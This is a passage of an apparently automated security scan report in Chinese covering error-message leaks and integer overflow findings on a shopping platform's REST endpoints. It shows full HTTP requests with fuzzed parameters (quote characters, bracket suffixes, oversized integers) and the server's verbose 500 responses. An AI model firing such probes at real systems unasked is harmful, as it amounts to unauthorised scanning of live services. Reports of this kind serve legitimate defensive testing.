{\tt Access-Control-Allow-Headers:} \  \, {\tt x-requested-with, content-type, sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:25:07 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Unrecognized field "account." (Class com.suneee.scn.system.model.dbo.SystemUserInfoT), not marked
as ignorable
 at [Source: io.netty.buffer.ByteBufInputStream@3e9ea962; line: 1, column: 26] (through reference
chain: com.suneee.scn.system.model.dbo.SystemUserInfoT["account."])
```

变体-|2/2

差异: 参数 从以下位置进行控制: ->"account" 至: ORIG VAL []

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /user/userModify HTTP/1.1
Content-Length: 170
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: system-rest-enterprise.mall.xt.weilian.cn
Cookie: account=setest01; sessionId=9a8670ffe4c1b50bb163eb8681b8ff0e; enterpriseId=55; enterpriseCode=SUNEEE; enterpriseLevel=1
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
```

```
Accept-Language: en-US, en; q=0.8
 "userId": "",
 "account[]": "setest01",
 "name": "\u8d44\u6e90\u5546\u57ce\u6d4b\u8bd501",
 "address": "753 Main Street",
 "eMail": "test@altoromutual.com",
"telphone": "555-555-5555"
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:25:08 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Unrecognized field "account[]" (Class com.suneee.scn.system.model.dbo.SystemUserInfoT), not
marked as ignorable
at [Source: io.netty.buffer.ByteBufInputStream@23bcd6c5; line: 1, column: 27] (through reference
chain: com.suneee.scn.system.model.dbo.SystemUserInfoT["account[]"])
```

问题 **42** / **43** Toc

应用程序错	带误
严重性:	参考
CVSS 分数:	0.0
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/user/userModify
实体:	->"telphone" (Parameter)
风险:	可能会收集敏感的调试信息
原因:	未对入局参数值执行适当的边界检查 未执行验证以确保用户输入与预期的数据类型匹配
固定值:	验证参数值是否在其预计范围和类型内。不要输出调试错误消息和异常

变体-|1/2

差异: 参数 从以下位置进行控制: ->"telphone" 至: ORIG VAL .

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /user/userModify HTTP/1.1
Content-Length: 169
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: system-rest-enterprise.mall.xt.weilian.cn
Cookie: account=setest01; sessionId=9a8670ffe4c1b50bb163eb8681b8ff0e; enterpriseId=55;
enterpriseCode=SUNEEE; enterpriseLevel=1
X-Requested-With: XMLHttpRequest
Connection: keep-alive
```

```
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "userId": "",
 "account": "setest01",
 "name": "\u8d44\u6e90\u5546\u57ce\u6d4b\u8bd501",
 "address": "753 Main Street",
 "eMail": "test@altoromutual.com",
 "telphone.": "555-555-5555"
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin:
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:25:08 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Unrecognized field "telphone." (Class com.suneee.scn.system.model.dbo.SystemUserInfoT), not
marked as ignorable
at [Source: io.netty.buffer.ByteBufInputStream@1f8a6fee; line: 1, column: 156] (through
reference chain: com.suneee.scn.system.model.dbo.SystemUserInfoT["telphone."])
```

变体-|2/2

差异: 参数 从以下位置进行控制: ->"telphone" 至: __ORIG_VAL_[]

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。 测试请求和响应:

```
POST /user/userModify HTTP/1.1
Content-Length: 170
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: system-rest-enterprise.mall.xt.weilian.cn
Cookie: account=setest01; sessionId=9a8670ffe4c1b50bb163eb8681b8ff0e; enterpriseId=55;
enterpriseCode=SUNEEE; enterpriseLevel=1
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "userId": "",
 "account": "setest01",
 "name": "\u8d44\u6e90\u5546\u57ce\u6d4b\u8bd501",
 "address": "753 Main Street",
 "eMail": "test@altoromutual.com",
 "telphone[]": "555-555-5555"
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:25:08 GMT
Content-Type: text/plain; charset=UTF-8
```

```
Transfer-Encoding: chunked
Unrecognized field "telphone[]" (Class com.suneee.scn.system.model.dbo.SystemUserInfoT), not
marked as ignorable
  at [Source: io.netty.buffer.ByteBufInputStream@426ee598; line: 1, column: 157] (through
  reference chain: com.suneee.scn.system.model.dbo.SystemUserInfoT["telphone[]"])
```

问题 43 / 43 Toc

应用程序针	带误
严重性:	参考
CVSS 分数:	0.0
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/user/userModify
实体:	->"userId" (Parameter)
风险:	可能会收集敏感的调试信息
原因:	未对入局参数值执行适当的边界检查 未执行验证以确保用户输入与预期的数据类型匹配
固定值:	验证参数值是否在其预计范围和类型内。不要输出调试错误消息和异常

变体-|1/8

差异: 参数 从以下位置进行控制: (->"userId") 至: ORIG VAL .

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /user/userModify HTTP/1.1
Content-Length: 169
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: system-rest-enterprise.mall.xt.weilian.cn
Cookie: account=setest01; sessionId=9a8670ffe4c1b50bb163eb8681b8ff0e; enterpriseId=55;
enterpriseCode=SUNEEE; enterpriseLevel=1
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "userId.": "",
 "account": "setest01",
 "name": "\u8d44\u6e90\u5546\u57ce\u6d4b\u8bd501",
 "address": "753 Main Street",
 "eMail": "test@altoromutual.com",
 "telphone": "555-555-5555"
HTTP/1.1 500 Internal Server Error
{\tt Access-Control-Allow-Headers:} \  \, {\tt x-requested-with, content-type, sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
```

```
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:25:09 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked

Unrecognized field "userId." (Class com.suneee.scn.system.model.dbo.SystemUserInfoT), not marked as ignorable
at [Source: io.netty.buffer.ByteBufInputStream@65836dfe; line: 1, column: 13] (through reference chain: com.suneee.scn.system.model.dbo.SystemUserInfoT["userId."])
```

变体-|2/8

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /user/userModify HTTP/1.1
Content-Length: 170
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: system-rest-enterprise.mall.xt.weilian.cn
Cookie: account=setest01; sessionId=9a8670ffe4c1b50bb163eb8681b8ff0e; enterpriseId=55;
enterpriseCode=SUNEEE; enterpriseLevel=1
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "userId[]": "",
 "account": "setest01",
 "name": "\u8d44\u6e90\u5546\u57ce\u6d4b\u8bd501",
 "address": "753 Main Street",
 "eMail": "test@altoromutual.com",
 "telphone": "555-555-5555"
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:25:09 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Unrecognized field "userId[]" (Class com.suneee.scn.system.model.dbo.SystemUserInfoT), not marked
as ignorable
at [Source: io.netty.buffer.ByteBufInputStream@73141114; line: 1, column: 14] (through reference
chain: com.suneee.scn.system.model.dbo.SystemUserInfoT["userId[]"])
```

变体-|3/8

差异: 参数 从以下位置进行控制: 一至: \$27

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /user/userModify HTTP/1.1
Content-Length: 169
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: system-rest-enterprise.mall.xt.weilian.cn
Cookie: account=setest01; sessionId=9a8670ffe4c1b50bb163eb8681b8ff0e; enterpriseId=55;
enterpriseCode=SUNEEE; enterpriseLevel=1
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "userId": "'",
 "account": "setest01",
 "name": "\u8d44\u6e90\u5546\u57ce\u6d4b\u8bd501",
 "address": "753 Main Street",
 "eMail": "test@altoromutual.com",
 "telphone": "555-555-5555"
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:25:09 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Integer from String value ''': not a valid Integer value
at [Source: io.netty.buffer.ByteBufInputStream@c72b555; line: 1, column: 2] (through reference
chain: com.suneee.scn.system.model.dbo.SystemUserInfoT["userId"])
```

变体-|4/8

差异: 参数 从以下位置进行控制: -至: (')

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /user/userModify HTTP/1.1
Content-Length: 171
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: system-rest-enterprise.mall.xt.weilian.cn
Cookie: account=setest01; sessionId=9a8670ffe4c1b50bb163eb8681b8ff0e; enterpriseId=55;
enterpriseCode=SUNEEE; enterpriseLevel=1
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Origin: \verb|http://system-rest-enterprise.mall.xt.weilian.cn|
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "userId": "\
 "account": "setest01",
 "name": "\u8d44\u6e90\u5546\u57ce\u6d4b\u8bd501",
```

```
"address": "753 Main Street",
  "eMail": "test@altoromutual.com",
  "telphone": "555-555-5555"
}

HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with,content-type,sessionid
Server: openresty
Access-Control-Allow-Methods: GET,FOST,HEAD,PUT,DELETE,OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:25:09 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked

Can not construct instance of java.lang.Integer from String value '\'': not a valid Integer value at [Source: io.netty.buffer.ByteBufInputStream@68293c7d; line: 1, column: 2] (through reference chain: com.suneee.scn.system.model.dbo.SystemUserInfoT["userId"])
```

变体-|5/8

差异: 参数 从以下位置进行控制: - 至: ;

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /user/userModify HTTP/1.1
Content-Length: 169
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: system-rest-enterprise.mall.xt.weilian.cn
Cookie: account=setest01; sessionId=9a8670ffe4c1b50bb163eb8681b8ff0e; enterpriseId=55;
enterpriseCode=SUNEEE; enterpriseLevel=1
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "userId": ";",
 "account": "setest01",
 "name": "\u8d44\u6e90\u5546\u57ce\u6d4b\u8bd501",
 "address": "753 Main Street",
 "eMail": "test@altoromutual.com",
 "telphone": "555-555-5555"
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:25:09 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Integer from String value ';': not a valid Integer value
at [Source: io.netty.buffer.ByteBufInputStream@228bcb07; line: 1, column: 2] (through reference
chain: com.suneee.scn.system.model.dbo.SystemUserInfoT["userId"])
```

变体-|6/8

差异: 参数 从以下位置进行控制: -至: "

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /user/userModify HTTP/1.1
Content-Length: 170
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: system-rest-enterprise.mall.xt.weilian.cn
Cookie: account=setest01; sessionId=9a8670ffe4c1b50bb163eb8681b8ff0e; enterpriseId=55;
enterpriseCode=SUNEEE; enterpriseLevel=1
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; g=0.8
       "userId": "\"",
 "account": "setest01"
 "name": "\u8d44\u6e90\u5546\u57ce\u6d4b\u8bd501",
 "address": "753 Main Street",
 "eMail": "test@altoromutual.com",
 "telphone": "555-555-5555"
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:25:09 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Integer from String value """: not a valid Integer value
at [Source: io.netty.buffer.ByteBufInputStream@35cc53ef; line: 1, column: 2] (through reference
chain: com.suneee.scn.system.model.dbo.SystemUserInfoT["userId"])
```

变体-|7/8

差异: 参数 从以下位置进行控制: — 至: ("

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /user/userModify HTTP/1.1
Content-Length: 172
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: system-rest-enterprise.mall.xt.weilian.cn
Cookie: account=setest01; sessionId=9a8670ffe4c1b50bb163eb8681b8ff0e; enterpriseId=55; enterpriseCode=SUNEEE; enterpriseLevel=1
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
```

```
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "userId": "\\
 "account": "setest01",
 "name": "\u8d44\u6e90\u5546\u57ce\u6d4b\u8bd501",
 "address": "753 Main Street",
 "eMail": "test@altoromutual.com",
 "telphone": "555-555-5555"
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:25:09 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Integer from String value '\"': not a valid Integer value
 at [Source: io.netty.buffer.ByteBufInputStream@65356bb2; line: 1, column: 2] (through reference
chain: com.suneee.scn.system.model.dbo.SystemUserInfoT["userId"])
```

变体- | 8 / 8

差异:

参数 从以下位置进行控制: -至:)

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /user/userModify HTTP/1.1
Content-Length: 169
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: system-rest-enterprise.mall.xt.weilian.cn
Cookie: account=setest01; sessionId=9a8670ffe4c1b50bb163eb8681b8ff0e; enterpriseId=55;
enterpriseCode=SUNEEE; enterpriseLevel=1
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
  "userId": ")",
 "account": "setest01",
  "name": "\u8d44\u6e90\u5546\u57ce\u6d4b\u8bd501",
  "address": "753 Main Street",
  "eMail": "test@altoromutual.com",
  "telphone": "555-555-5555"
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:25:09 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Integer from String value ')': not a valid Integer value
at [Source: io.netty.buffer.ByteBufInputStream@63c28ef6; line: 1, column: 2] (through reference
```



整数溢出 16

TOO

问题 1 / 16 Toc

整数溢出	
严重性:	参考
CVSS 分数:	0.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/getGoodsStockList
实体:	pageNum (Parameter)
实体: 风险:	pageNum (Parameter) 可能会收集敏感的调试信息

变体-|1/4

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
searchValue= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:52 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "999999999999999999"
```

变体-|2/4

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
draw=1&start=0&length=15&search%5Bvalue%5D=&search%5Bregex%5D=false&pageNum=-
999999999999999999999999998searchValue= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openrestv
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:52 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "-999999999999999999999"
```

变体-|3/4

差异: 参数 从以下位置进行控制: ① 至: 4294967297

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
draw=1&start=0&length=15&search%5Bvalue%5D=&search%5Bregex%5D=false&pageNum=4294967297&searchValu
e= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01 Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
```

```
Date: Fri, 12 Jan 2018 03:20:52 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "4294967297"
```

变体-|4/4

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
searchValue= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:52 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "18446744073709551617"
```

问题 2 / 16 Toc

整数溢出	
严重性:	参考
CVSS 分数:	0.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/getGoodsStockList
实体:	start (Parameter)
实体:	start (Parameter) 可能会收集敏感的调试信息

变体-|1/4

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
draw=1 \\ \& start=999999999999999999999999998 \\ length=15 \\ \& search \\ \& 5D= \\ \& search \\ \& search
 searchValue= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
{\tt Host: vr-goods-rest-enterprise.mall.xt.weilian.cn}
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
{\tt Access-Control-Allow-Headers:} \  \, {\tt x-requested-with, content-type, sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:52 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "99999999999999999"
```

变体-|2/4

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?draw=1&start=-
99999999999999999996length=15&search%5Bvalue%5D=&search%5Bregex%5D=false&pageNum=1&searchValue=
HTTP/1 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:52 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "-999999999999999999999"
```

变体-|3/4

差异: 参数 从以下位置进行控制: 0 至: 4294967297

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
draw=1&start=4294967297&length=15&search%5Bvalue%5D=&search%5Bregex%5D=false&pageNum=1&searchValu
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:52 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "4294967297"
```

变体-|4/4

差异: 参数 从以下位置进行控制: ① 至: 18446744073709551617

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
